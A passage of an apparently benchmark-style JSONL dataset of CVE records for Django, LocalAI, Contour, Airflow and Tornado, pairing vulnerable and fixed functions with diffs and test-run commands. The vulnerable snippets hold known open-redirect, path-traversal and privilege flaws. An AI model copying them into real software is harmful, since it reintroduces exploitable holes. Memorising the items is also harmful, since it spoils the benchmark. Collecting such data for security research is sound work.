APPEND_SLASH set. Django can't \"\n                \"redirect to the slash URL while maintaining %(method)s data. \"\n                \"Change your form to point to %(url)s (note the trailing \"\n                \"slash), or set APPEND_SLASH=False in your Django settings.\" % {\n                    'method': request.method,\n                    'url': request.get_host() + new_path,\n                }\n            )\n        return new_path"}, {"id": "vul_py_10_2", "commit": "af344691114e4a68334c30543bfb838996328212", "file_path": "django/urls/resolvers.py", "start_line": 564, "end_line": 636, "snippet": "    def _reverse_with_prefix(self, lookup_view, _prefix, *args, **kwargs):\n        if args and kwargs:\n            raise ValueError(\"Don't mix *args and **kwargs in call to reverse()!\")\n\n        if not self._populated:\n            self._populate()\n\n        possibilities = self.reverse_dict.getlist(lookup_view)\n\n        for possibility, pattern, defaults, converters in possibilities:\n            for result, params in possibility:\n                if args:\n                    if len(args) != len(params):\n                        continue\n                    candidate_subs = dict(zip(params, args))\n                else:\n                    if set(kwargs).symmetric_difference(params).difference(defaults):\n                        continue\n                    matches = True\n                    for k, v in defaults.items():\n                        if kwargs.get(k, v) != v:\n                            matches = False\n                            break\n                    if not matches:\n                        continue\n                    candidate_subs = kwargs\n                # Convert the candidate subs to text using Converter.to_url().\n                text_candidate_subs = {}\n                for k, v in candidate_subs.items():\n                    if k in converters:\n                        text_candidate_subs[k] = converters[k].to_url(v)\n                    else:\n                        text_candidate_subs[k] = str(v)\n                # WSGI provides decoded URLs, without %xx escapes, and the URL\n                # resolver operates on such URLs. First substitute arguments\n                # without quoting to build a decoded URL and look for a match.\n                # Then, if we have a match, redo the substitution with quoted\n                # arguments in order to return a properly encoded URL.\n                candidate_pat = _prefix.replace('%', '%%') + result\n                if re.search('^%s%s' % (re.escape(_prefix), pattern), candidate_pat % text_candidate_subs):\n                    # safe characters from `pchar` definition of RFC 3986\n                    url = quote(candidate_pat % text_candidate_subs, safe=RFC3986_SUBDELIMS + '/~:@')\n                    # Don't allow construction of scheme relative urls.\n                    if url.startswith('//'):\n                        url = '/%%2F%s' % url[2:]\n                    return url\n        # lookup_view can be URL name or callable, but callables are not\n        # friendly in error messages.\n        m = getattr(lookup_view, '__module__', None)\n        n = getattr(lookup_view, '__name__', None)\n        if m is not None and n is not None:\n            lookup_view_s = \"%s.%s\" % (m, n)\n        else:\n            lookup_view_s = lookup_view\n\n        patterns = [pattern for (_, pattern, _, _) in possibilities]\n        if patterns:\n            if args:\n                arg_msg = \"arguments '%s'\" % (args,)\n            elif kwargs:\n                arg_msg = \"keyword arguments '%s'\" % (kwargs,)\n            else:\n                arg_msg = \"no arguments\"\n            msg = (\n                \"Reverse for '%s' with %s not found. %d pattern(s) tried: %s\" %\n                (lookup_view_s, arg_msg, len(patterns), patterns)\n            )\n        else:\n            msg = (\n                \"Reverse for '%(view)s' not found. '%(view)s' is not \"\n                \"a valid view function or pattern name.\" % {'view': lookup_view_s}\n            )\n        raise NoReverseMatch(msg)"}], "fix_func": [{"id": "fix_py_10_1", "commit": "6fffc3c6d420e44f4029d5643f38d00a39b08525", "file_path": "django/middleware/common.py", "start_line": 84, "end_line": 105, "snippet": "    def get_full_path_with_slash(self, request):\n        \"\"\"\n        Return the full path of the request with a trailing slash appended.\n\n        Raise a RuntimeError if settings.DEBUG is True and request.method is\n        POST, PUT, or PATCH.\n        \"\"\"\n        new_path = request.get_full_path(force_append_slash=True)\n        # Prevent construction of scheme relative urls.\n        new_path = escape_leading_slashes(new_path)\n        if settings.DEBUG and request.method in ('POST', 'PUT', 'PATCH'):\n            raise RuntimeError(\n                \"You called this URL via %(method)s, but the URL doesn't end \"\n                \"in a slash and you have APPEND_SLASH set. Django can't \"\n                \"redirect to the slash URL while maintaining %(method)s data. \"\n                \"Change your form to point to %(url)s (note the trailing \"\n                \"slash), or set APPEND_SLASH=False in your Django settings.\" % {\n                    'method': request.method,\n                    'url': request.get_host() + new_path,\n                }\n            )\n        return new_path"}, {"id": "fix_py_10_2", "commit": "6fffc3c6d420e44f4029d5643f38d00a39b08525", "file_path": "django/urls/resolvers.py", "start_line": 564, "end_line": 634, "snippet": "    def _reverse_with_prefix(self, lookup_view, _prefix, *args, **kwargs):\n        if args and kwargs:\n            raise ValueError(\"Don't mix *args and **kwargs in call to reverse()!\")\n\n        if not self._populated:\n            self._populate()\n\n        possibilities = self.reverse_dict.getlist(lookup_view)\n\n        for possibility, pattern, defaults, converters in possibilities:\n            for result, params in possibility:\n                if args:\n                    if len(args) != len(params):\n                        continue\n                    candidate_subs = dict(zip(params, args))\n                else:\n                    if set(kwargs).symmetric_difference(params).difference(defaults):\n                        continue\n                    matches = True\n                    for k, v in defaults.items():\n                        if kwargs.get(k, v) != v:\n                            matches = False\n                            break\n                    if not matches:\n                        continue\n                    candidate_subs = kwargs\n                # Convert the candidate subs to text using Converter.to_url().\n                text_candidate_subs = {}\n                for k, v in candidate_subs.items():\n                    if k in converters:\n                        text_candidate_subs[k] = converters[k].to_url(v)\n                    else:\n                        text_candidate_subs[k] = str(v)\n                # WSGI provides decoded URLs, without %xx escapes, and the URL\n                # resolver operates on such URLs. First substitute arguments\n                # without quoting to build a decoded URL and look for a match.\n                # Then, if we have a match, redo the substitution with quoted\n                # arguments in order to return a properly encoded URL.\n                candidate_pat = _prefix.replace('%', '%%') + result\n                if re.search('^%s%s' % (re.escape(_prefix), pattern), candidate_pat % text_candidate_subs):\n                    # safe characters from `pchar` definition of RFC 3986\n                    url = quote(candidate_pat % text_candidate_subs, safe=RFC3986_SUBDELIMS + '/~:@')\n                    # Don't allow construction of scheme relative urls.\n                    return escape_leading_slashes(url)\n        # lookup_view can be URL name or callable, but callables are not\n        # friendly in error messages.\n        m = getattr(lookup_view, '__module__', None)\n        n = getattr(lookup_view, '__name__', None)\n        if m is not None and n is not None:\n            lookup_view_s = \"%s.%s\" % (m, n)\n        else:\n            lookup_view_s = lookup_view\n\n        patterns = [pattern for (_, pattern, _, _) in possibilities]\n        if patterns:\n            if args:\n                arg_msg = \"arguments '%s'\" % (args,)\n            elif kwargs:\n                arg_msg = \"keyword arguments '%s'\" % (kwargs,)\n            else:\n                arg_msg = \"no arguments\"\n            msg = (\n                \"Reverse for '%s' with %s not found. %d pattern(s) tried: %s\" %\n                (lookup_view_s, arg_msg, len(patterns), patterns)\n            )\n        else:\n            msg = (\n                \"Reverse for '%(view)s' not found. '%(view)s' is not \"\n                \"a valid view function or pattern name.\" % {'view': lookup_view_s}\n            )\n        raise NoReverseMatch(msg)"}], "vul_patch": "--- a/django/middleware/common.py\n+++ b/django/middleware/common.py\n@@ -6,6 +6,8 @@\n         POST, PUT, or PATCH.\n         \"\"\"\n         new_path = request.get_full_path(force_append_slash=True)\n+        # Prevent construction of scheme relative urls.\n+        new_path = escape_leading_slashes(new_path)\n         if settings.DEBUG and request.method in ('POST', 'PUT', 'PATCH'):\n             raise RuntimeError(\n                 \"You called this URL via %(method)s, but the URL doesn't end \"\n\n--- a/django/urls/resolvers.py\n+++ b/django/urls/resolvers.py\n@@ -41,9 +41,7 @@\n                     # safe characters from `pchar` definition of RFC 3986\n                     url = quote(candidate_pat % text_candidate_subs, safe=RFC3986_SUBDELIMS + '/~:@')\n                     # Don't allow construction of scheme relative urls.\n-                    if url.startswith('//'):\n-                        url = '/%%2F%s' % url[2:]\n-                    return url\n+                    return escape_leading_slashes(url)\n         # lookup_view can be URL name or callable, but callables are not\n         # friendly in error messages.\n         m = getattr(lookup_view, '__module__', None)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-14574:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2018-14574/bin/python ./runtests.py middleware.tests.CommonMiddlewareTest.test_append_slash_leading_slashes utils_tests.test_http.EscapeLeadingSlashesTests\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2018-14574:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2018-14574/bin/python ./runtests.py middleware.tests\n"}
{"cve_id": "CVE-2024-5182", "cve_description": "A path traversal vulnerability exists in mudler/localai version 2.14.0, where an attacker can exploit the `model` parameter during the model deletion process to delete arbitrary files. Specifically, by crafting a request with a manipulated `model` parameter, an attacker can traverse the directory structure and target files outside of the intended directory, leading to the deletion of sensitive data. This vulnerability is due to insufficient input validation and sanitization of the `model` parameter.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mudler/localai", "patch_url": ["https://github.com/mudler/localai/commit/1a3dedece06cab1acc3332055d285ac540a47f0e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_275_1", "commit": "a58ff00ab1cfcad4bf109b83823db1e2807999e4", "file_path": "core/config/backend_config_loader.go", "start_line": 137, "end_line": 149, "snippet": "func (cm *BackendConfigLoader) LoadBackendConfigFile(file string, opts ...ConfigLoaderOption) error {\n\tcm.Lock()\n\tdefer cm.Unlock()\n\tc, err := ReadBackendConfigFile(file, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot load config file: %w\", err)\n\t}\n\n\tfor _, cc := range c {\n\t\tcm.configs[cc.Name] = *cc\n\t}\n\treturn nil\n}"}, {"id": "vul_go_275_2", "commit": "a58ff00ab1cfcad4bf109b83823db1e2807999e4", "file_path": "core/config/backend_config_loader.go", "start_line": 151, "end_line": 161, "snippet": "func (cl *BackendConfigLoader) LoadBackendConfig(file string, opts ...ConfigLoaderOption) error {\n\tcl.Lock()\n\tdefer cl.Unlock()\n\tc, err := ReadBackendConfig(file, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot read config file: %w\", err)\n\t}\n\n\tcl.configs[c.Name] = *c\n\treturn nil\n}"}, {"id": "vul_go_275_3", "commit": "a58ff00ab1cfcad4bf109b83823db1e2807999e4", "file_path": "core/config/backend_config_loader.go", "start_line": 295, "end_line": 323, "snippet": "func (cm *BackendConfigLoader) LoadBackendConfigsFromPath(path string, opts ...ConfigLoaderOption) error {\n\tcm.Lock()\n\tdefer cm.Unlock()\n\tentries, err := os.ReadDir(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfiles := make([]fs.FileInfo, 0, len(entries))\n\tfor _, entry := range entries {\n\t\tinfo, err := entry.Info()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfiles = append(files, info)\n\t}\n\tfor _, file := range files {\n\t\t// Skip templates, YAML and .keep files\n\t\tif !strings.Contains(file.Name(), \".yaml\") && !strings.Contains(file.Name(), \".yml\") ||\n\t\t\tstrings.HasPrefix(file.Name(), \".\") {\n\t\t\tcontinue\n\t\t}\n\t\tc, err := ReadBackendConfig(filepath.Join(path, file.Name()), opts...)\n\t\tif err == nil {\n\t\t\tcm.configs[c.Name] = *c\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_275_1", "commit": "1a3dedece06cab1acc3332055d285ac540a47f0e", "file_path": "core/config/backend_config_loader.go", "start_line": 137, "end_line": 151, "snippet": "func (cm *BackendConfigLoader) LoadBackendConfigFile(file string, opts ...ConfigLoaderOption) error {\n\tcm.Lock()\n\tdefer cm.Unlock()\n\tc, err := ReadBackendConfigFile(file, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot load config file: %w\", err)\n\t}\n\n\tfor _, cc := range c {\n\t\tif cc.Validate() {\n\t\t\tcm.configs[cc.Name] = *cc\n\t\t}\n\t}\n\treturn nil\n}"}, {"id": "fix_go_275_2", "commit": "1a3dedece06cab1acc3332055d285ac540a47f0e", "file_path": "core/config/backend_config_loader.go", "start_line": 153, "end_line": 168, "snippet": "func (cl *BackendConfigLoader) LoadBackendConfig(file string, opts ...ConfigLoaderOption) error {\n\tcl.Lock()\n\tdefer cl.Unlock()\n\tc, err := ReadBackendConfig(file, opts...)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot read config file: %w\", err)\n\t}\n\n\tif c.Validate() {\n\t\tcl.configs[c.Name] = *c\n\t} else {\n\t\treturn fmt.Errorf(\"config is not valid\")\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_275_3", "commit": "1a3dedece06cab1acc3332055d285ac540a47f0e", "file_path": "core/config/backend_config_loader.go", "start_line": 302, "end_line": 336, "snippet": "func (cm *BackendConfigLoader) LoadBackendConfigsFromPath(path string, opts ...ConfigLoaderOption) error {\n\tcm.Lock()\n\tdefer cm.Unlock()\n\tentries, err := os.ReadDir(path)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot read directory '%s': %w\", path, err)\n\t}\n\tfiles := make([]fs.FileInfo, 0, len(entries))\n\tfor _, entry := range entries {\n\t\tinfo, err := entry.Info()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfiles = append(files, info)\n\t}\n\tfor _, file := range files {\n\t\t// Skip templates, YAML and .keep files\n\t\tif !strings.Contains(file.Name(), \".yaml\") && !strings.Contains(file.Name(), \".yml\") ||\n\t\t\tstrings.HasPrefix(file.Name(), \".\") {\n\t\t\tcontinue\n\t\t}\n\t\tc, err := ReadBackendConfig(filepath.Join(path, file.Name()), opts...)\n\t\tif err != nil {\n\t\t\tlog.Error().Err(err).Msgf(\"cannot read config file: %s\", file.Name())\n\t\t\tcontinue\n\t\t}\n\t\tif c.Validate() {\n\t\t\tcm.configs[c.Name] = *c\n\t\t} else {\n\t\t\tlog.Error().Err(err).Msgf(\"config is not valid\")\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/core/config/backend_config_loader.go\n+++ b/core/config/backend_config_loader.go\n@@ -7,7 +7,9 @@\n \t}\n \n \tfor _, cc := range c {\n-\t\tcm.configs[cc.Name] = *cc\n+\t\tif cc.Validate() {\n+\t\t\tcm.configs[cc.Name] = *cc\n+\t\t}\n \t}\n \treturn nil\n }\n\n--- a/core/config/backend_config_loader.go\n+++ b/core/config/backend_config_loader.go\n@@ -6,6 +6,11 @@\n \t\treturn fmt.Errorf(\"cannot read config file: %w\", err)\n \t}\n \n-\tcl.configs[c.Name] = *c\n+\tif c.Validate() {\n+\t\tcl.configs[c.Name] = *c\n+\t} else {\n+\t\treturn fmt.Errorf(\"config is not valid\")\n+\t}\n+\n \treturn nil\n }\n\n--- a/core/config/backend_config_loader.go\n+++ b/core/config/backend_config_loader.go\n@@ -3,7 +3,7 @@\n \tdefer cm.Unlock()\n \tentries, err := os.ReadDir(path)\n \tif err != nil {\n-\t\treturn err\n+\t\treturn fmt.Errorf(\"cannot read directory '%s': %w\", path, err)\n \t}\n \tfiles := make([]fs.FileInfo, 0, len(entries))\n \tfor _, entry := range entries {\n@@ -20,8 +20,14 @@\n \t\t\tcontinue\n \t\t}\n \t\tc, err := ReadBackendConfig(filepath.Join(path, file.Name()), opts...)\n-\t\tif err == nil {\n+\t\tif err != nil {\n+\t\t\tlog.Error().Err(err).Msgf(\"cannot read config file: %s\", file.Name())\n+\t\t\tcontinue\n+\t\t}\n+\t\tif c.Validate() {\n \t\t\tcm.configs[c.Name] = *c\n+\t\t} else {\n+\t\t\tlog.Error().Err(err).Msgf(\"config is not valid\")\n \t\t}\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-32783", "cve_description": "Contour is a Kubernetes ingress controller using Envoy proxy. In Contour before version 1.17.1 a specially crafted ExternalName type Service may be used to access Envoy's admin interface, which Contour normally prevents from access outside the Envoy container. This can be used to shut down Envoy remotely (a denial of service), or to expose the existence of any Secret that Envoy is using for its configuration, including most notably TLS Keypairs. However, it *cannot* be used to get the *content* of those secrets. Since this attack allows access to the administration interface, a variety of administration options are available, such as shutting down the Envoy or draining traffic. In general, the Envoy admin interface cannot easily be used for making changes to the cluster, in-flight requests, or backend services, but it could be used to shut down or drain Envoy, change traffic routing, or to retrieve secret metadata, as mentioned above. The issue will be addressed in Contour v1.18.0 and a cherry-picked patch release, v1.17.1, has been released to cover users who cannot upgrade at this time. For more details refer to the linked GitHub Security Advisory.", "cwe_info": {"CWE-610": {"name": "Externally Controlled Reference to a Resource in Another Sphere", "description": "The product uses an externally controlled name or reference that resolves to a resource that is outside of the intended control sphere."}}, "repo": "https://github.com/projectcontour/contour", "patch_url": ["https://github.com/projectcontour/contour/commit/b53a5c4fd927f4ea2c6cf02f1359d8e28bef852e"], "programing_language": "Go", "vul_func": [{"id": "vul_go_42_1", "commit": "b8136f7", "file_path": "internal/dag/accessors.go", "start_line": 54, "end_line": 79, "snippet": "func (dag *DAG) EnsureService(meta types.NamespacedName, port intstr.IntOrString, cache *KubernetesCache) (*Service, error) {\n\tsvc, svcPort, err := cache.LookupService(meta, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif dagSvc := dag.GetService(k8s.NamespacedNameOf(svc), svcPort.Port); dagSvc != nil {\n\t\treturn dagSvc, nil\n\t}\n\n\tdagSvc := &Service{\n\t\tWeighted: WeightedService{\n\t\t\tServiceName:      svc.Name,\n\t\t\tServiceNamespace: svc.Namespace,\n\t\t\tServicePort:      svcPort,\n\t\t\tWeight:           1,\n\t\t},\n\t\tProtocol:           upstreamProtocol(svc, svcPort),\n\t\tMaxConnections:     annotation.MaxConnections(svc),\n\t\tMaxPendingRequests: annotation.MaxPendingRequests(svc),\n\t\tMaxRequests:        annotation.MaxRequests(svc),\n\t\tMaxRetries:         annotation.MaxRetries(svc),\n\t\tExternalName:       externalName(svc),\n\t}\n\treturn dagSvc, nil\n}"}], "fix_func": [{"id": "fix_go_42_1", "commit": "b53a5c4", "file_path": "internal/dag/accessors.go", "start_line": 54, "end_line": 84, "snippet": "func (dag *DAG) EnsureService(meta types.NamespacedName, port intstr.IntOrString, cache *KubernetesCache, enableExternalNameSvc bool) (*Service, error) {\n\tsvc, svcPort, err := cache.LookupService(meta, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = validateExternalName(svc, enableExternalNameSvc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif dagSvc := dag.GetService(k8s.NamespacedNameOf(svc), svcPort.Port); dagSvc != nil {\n\t\treturn dagSvc, nil\n\t}\n\n\tdagSvc := &Service{\n\t\tWeighted: WeightedService{\n\t\t\tServiceName:      svc.Name,\n\t\t\tServiceNamespace: svc.Namespace,\n\t\t\tServicePort:      svcPort,\n\t\t\tWeight:           1,\n\t\t},\n\t\tProtocol:           upstreamProtocol(svc, svcPort),\n\t\tMaxConnections:     annotation.MaxConnections(svc),\n\t\tMaxPendingRequests: annotation.MaxPendingRequests(svc),\n\t\tMaxRequests:        annotation.MaxRequests(svc),\n\t\tMaxRetries:         annotation.MaxRetries(svc),\n\t\tExternalName:       externalName(svc),\n\t}\n\treturn dagSvc, nil\n}"}, {"id": "fix_go_42_2", "commit": "b53a5c4", "file_path": "internal/dag/accessors.go", "start_line": 86, "end_line": 116, "snippet": "func validateExternalName(svc *v1.Service, enableExternalNameSvc bool) error {\n\n\t// If this isn't an ExternalName Service, we're all good here.\n\ten := externalName(svc)\n\tif en == \"\" {\n\t\treturn nil\n\t}\n\n\t// If ExternalNames are disabled, then we don't want to add this to the DAG.\n\tif !enableExternalNameSvc {\n\t\treturn fmt.Errorf(\"%s/%s is an ExternalName service, these are not currently enabled. See the config.enableExternalNameService config file setting\", svc.Namespace, svc.Name)\n\t}\n\n\t// Check against a list of known localhost names, using a map to approximate a set.\n\t// TODO(youngnick) This is a very porous hack, and we should probably look into doing a DNS\n\t// lookup to check what the externalName resolves to, but I'm worried about the\n\t// performance impact of doing one or more DNS lookups per DAG run, so we're\n\t// going to go with a specific blocklist for now.\n\tlocalhostNames := map[string]struct{}{\n\t\t\"localhost\":               {},\n\t\t\"localhost.localdomain\":   {},\n\t\t\"local.projectcontour.io\": {},\n\t}\n\n\t_, localhost := localhostNames[en]\n\tif localhost {\n\t\treturn fmt.Errorf(\"%s/%s is an ExternalName service that points to localhost, this is not allowed\", svc.Namespace, svc.Name)\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/internal/dag/accessors.go\n+++ b/internal/dag/accessors.go\n@@ -1,5 +1,10 @@\n-func (dag *DAG) EnsureService(meta types.NamespacedName, port intstr.IntOrString, cache *KubernetesCache) (*Service, error) {\n+func (dag *DAG) EnsureService(meta types.NamespacedName, port intstr.IntOrString, cache *KubernetesCache, enableExternalNameSvc bool) (*Service, error) {\n \tsvc, svcPort, err := cache.LookupService(meta, port)\n+\tif err != nil {\n+\t\treturn nil, err\n+\t}\n+\n+\terr = validateExternalName(svc, enableExternalNameSvc)\n \tif err != nil {\n \t\treturn nil, err\n \t}\n\n--- /dev/null\n+++ b/internal/dag/accessors.go\n@@ -0,0 +1,31 @@\n+func validateExternalName(svc *v1.Service, enableExternalNameSvc bool) error {\n+\n+\t// If this isn't an ExternalName Service, we're all good here.\n+\ten := externalName(svc)\n+\tif en == \"\" {\n+\t\treturn nil\n+\t}\n+\n+\t// If ExternalNames are disabled, then we don't want to add this to the DAG.\n+\tif !enableExternalNameSvc {\n+\t\treturn fmt.Errorf(\"%s/%s is an ExternalName service, these are not currently enabled. See the config.enableExternalNameService config file setting\", svc.Namespace, svc.Name)\n+\t}\n+\n+\t// Check against a list of known localhost names, using a map to approximate a set.\n+\t// TODO(youngnick) This is a very porous hack, and we should probably look into doing a DNS\n+\t// lookup to check what the externalName resolves to, but I'm worried about the\n+\t// performance impact of doing one or more DNS lookups per DAG run, so we're\n+\t// going to go with a specific blocklist for now.\n+\tlocalhostNames := map[string]struct{}{\n+\t\t\"localhost\":               {},\n+\t\t\"localhost.localdomain\":   {},\n+\t\t\"local.projectcontour.io\": {},\n+\t}\n+\n+\t_, localhost := localhostNames[en]\n+\tif localhost {\n+\t\treturn fmt.Errorf(\"%s/%s is an ExternalName service that points to localhost, this is not allowed\", svc.Namespace, svc.Name)\n+\t}\n+\n+\treturn nil\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32783:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/contour\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestBuilderLookupService$ github.com/projectcontour/contour/internal/dag\n", "unit_test_cmd": null}
{"cve_id": "CVE-2024-45034", "cve_description": "Apache Airflow versions before 2.10.1 have a vulnerability that allows\u00a0DAG authors to add local settings to the DAG folder and get it executed by the scheduler, where the scheduler is not supposed to execute code submitted by the DAG author. \nUsers are advised to upgrade to version 2.10.1 or later, which has fixed the vulnerability.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/apache/airflow", "patch_url": ["https://github.com/apache/airflow/commit/03e01e76d2203d37aa645096df195b4328665f6d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_176_1", "commit": "ceb6051", "file_path": "airflow/settings.py", "start_line": 678, "end_line": 690, "snippet": "def prepare_syspath():\n    \"\"\"Ensure certain subfolders of AIRFLOW_HOME are on the classpath.\"\"\"\n    if DAGS_FOLDER not in sys.path:\n        sys.path.append(DAGS_FOLDER)\n\n    # Add ./config/ for loading custom log parsers etc, or\n    # airflow_local_settings etc.\n    config_path = os.path.join(AIRFLOW_HOME, \"config\")\n    if config_path not in sys.path:\n        sys.path.append(config_path)\n\n    if PLUGINS_FOLDER not in sys.path:\n        sys.path.append(PLUGINS_FOLDER)"}, {"id": "vul_py_176_2", "commit": "ceb6051", "file_path": "airflow/settings.py", "start_line": 771, "end_line": 793, "snippet": "def initialize():\n    \"\"\"Initialize Airflow with all the settings from this file.\"\"\"\n    configure_vars()\n    prepare_syspath()\n    configure_policy_plugin_manager()\n    # Load policy plugins _before_ importing airflow_local_settings, as Pluggy uses LIFO and we want anything\n    # in airflow_local_settings to take precendec\n    load_policy_plugins(POLICY_PLUGIN_MANAGER)\n    import_local_settings()\n    global LOGGING_CLASS_PATH\n    LOGGING_CLASS_PATH = configure_logging()\n    State.state_color.update(STATE_COLORS)\n\n    configure_adapters()\n    # The webservers import this file from models.py with the default settings.\n    configure_orm()\n    configure_action_logging()\n\n    # Run any custom runtime checks that needs to be executed for providers\n    run_providers_custom_runtime_checks()\n\n    # Ensure we close DB connections at scheduler and gunicorn worker terminations\n    atexit.register(dispose_orm)"}], "fix_func": [{"id": "fix_py_176_1", "commit": "03e01e7", "file_path": "airflow/settings.py", "start_line": 678, "end_line": 687, "snippet": "def prepare_syspath_for_config_and_plugins():\n    \"\"\"Update sys.path for the config and plugins directories.\"\"\"\n    # Add ./config/ for loading custom log parsers etc, or\n    # airflow_local_settings etc.\n    config_path = os.path.join(AIRFLOW_HOME, \"config\")\n    if config_path not in sys.path:\n        sys.path.append(config_path)\n\n    if PLUGINS_FOLDER not in sys.path:\n        sys.path.append(PLUGINS_FOLDER)"}, {"id": "fix_py_176_2", "commit": "03e01e7", "file_path": "airflow/settings.py", "start_line": 774, "end_line": 797, "snippet": "def initialize():\n    \"\"\"Initialize Airflow with all the settings from this file.\"\"\"\n    configure_vars()\n    prepare_syspath_for_config_and_plugins()\n    configure_policy_plugin_manager()\n    # Load policy plugins _before_ importing airflow_local_settings, as Pluggy uses LIFO and we want anything\n    # in airflow_local_settings to take precendec\n    load_policy_plugins(POLICY_PLUGIN_MANAGER)\n    import_local_settings()\n    prepare_syspath_for_dags_folder()\n    global LOGGING_CLASS_PATH\n    LOGGING_CLASS_PATH = configure_logging()\n    State.state_color.update(STATE_COLORS)\n\n    configure_adapters()\n    # The webservers import this file from models.py with the default settings.\n    configure_orm()\n    configure_action_logging()\n\n    # Run any custom runtime checks that needs to be executed for providers\n    run_providers_custom_runtime_checks()\n\n    # Ensure we close DB connections at scheduler and gunicorn worker terminations\n    atexit.register(dispose_orm)"}, {"id": "fix_py_176_3", "commit": "03e01e7", "file_path": "airflow/settings.py", "start_line": 690, "end_line": 693, "snippet": "def prepare_syspath_for_dags_folder():\n    \"\"\"Update sys.path to include the DAGs folder.\"\"\"\n    if DAGS_FOLDER not in sys.path:\n        sys.path.append(DAGS_FOLDER)"}], "vul_patch": "--- a/airflow/settings.py\n+++ b/airflow/settings.py\n@@ -1,8 +1,5 @@\n-def prepare_syspath():\n-    \"\"\"Ensure certain subfolders of AIRFLOW_HOME are on the classpath.\"\"\"\n-    if DAGS_FOLDER not in sys.path:\n-        sys.path.append(DAGS_FOLDER)\n-\n+def prepare_syspath_for_config_and_plugins():\n+    \"\"\"Update sys.path for the config and plugins directories.\"\"\"\n     # Add ./config/ for loading custom log parsers etc, or\n     # airflow_local_settings etc.\n     config_path = os.path.join(AIRFLOW_HOME, \"config\")\n\n--- a/airflow/settings.py\n+++ b/airflow/settings.py\n@@ -1,12 +1,13 @@\n def initialize():\n     \"\"\"Initialize Airflow with all the settings from this file.\"\"\"\n     configure_vars()\n-    prepare_syspath()\n+    prepare_syspath_for_config_and_plugins()\n     configure_policy_plugin_manager()\n     # Load policy plugins _before_ importing airflow_local_settings, as Pluggy uses LIFO and we want anything\n     # in airflow_local_settings to take precendec\n     load_policy_plugins(POLICY_PLUGIN_MANAGER)\n     import_local_settings()\n+    prepare_syspath_for_dags_folder()\n     global LOGGING_CLASS_PATH\n     LOGGING_CLASS_PATH = configure_logging()\n     State.state_color.update(STATE_COLORS)\n\n--- /dev/null\n+++ b/airflow/settings.py\n@@ -0,0 +1,4 @@\n+def prepare_syspath_for_dags_folder():\n+    \"\"\"Update sys.path to include the DAGs folder.\"\"\"\n+    if DAGS_FOLDER not in sys.path:\n+        sys.path.append(DAGS_FOLDER)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-28370", "cve_description": "Open redirect vulnerability in Tornado versions 6.3.1 and earlier allows a remote unauthenticated attacker to redirect a user to an arbitrary web site and conduct a phishing attack by having user access a specially crafted URL.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/tornadoweb/tornado", "patch_url": ["https://github.com/tornadoweb/tornado/commit/32ad07c54e607839273b4e1819c347f5c8976b2f"], "programing_language": "Python", "vul_func": [{"id": "vul_py_351_1", "commit": "e0fa53ee96db720dc7800d0248c39a4ffb8911e9", "file_path": "tornado/web.py", "start_line": 2841, "end_line": 2889, "snippet": "    def validate_absolute_path(self, root: str, absolute_path: str) -> Optional[str]:\n        \"\"\"Validate and return the absolute path.\n\n        ``root`` is the configured path for the `StaticFileHandler`,\n        and ``path`` is the result of `get_absolute_path`\n\n        This is an instance method called during request processing,\n        so it may raise `HTTPError` or use methods like\n        `RequestHandler.redirect` (return None after redirecting to\n        halt further processing).  This is where 404 errors for missing files\n        are generated.\n\n        This method may modify the path before returning it, but note that\n        any such modifications will not be understood by `make_static_url`.\n\n        In instance methods, this method's result is available as\n        ``self.absolute_path``.\n\n        .. versionadded:: 3.1\n        \"\"\"\n        # os.path.abspath strips a trailing /.\n        # We must add it 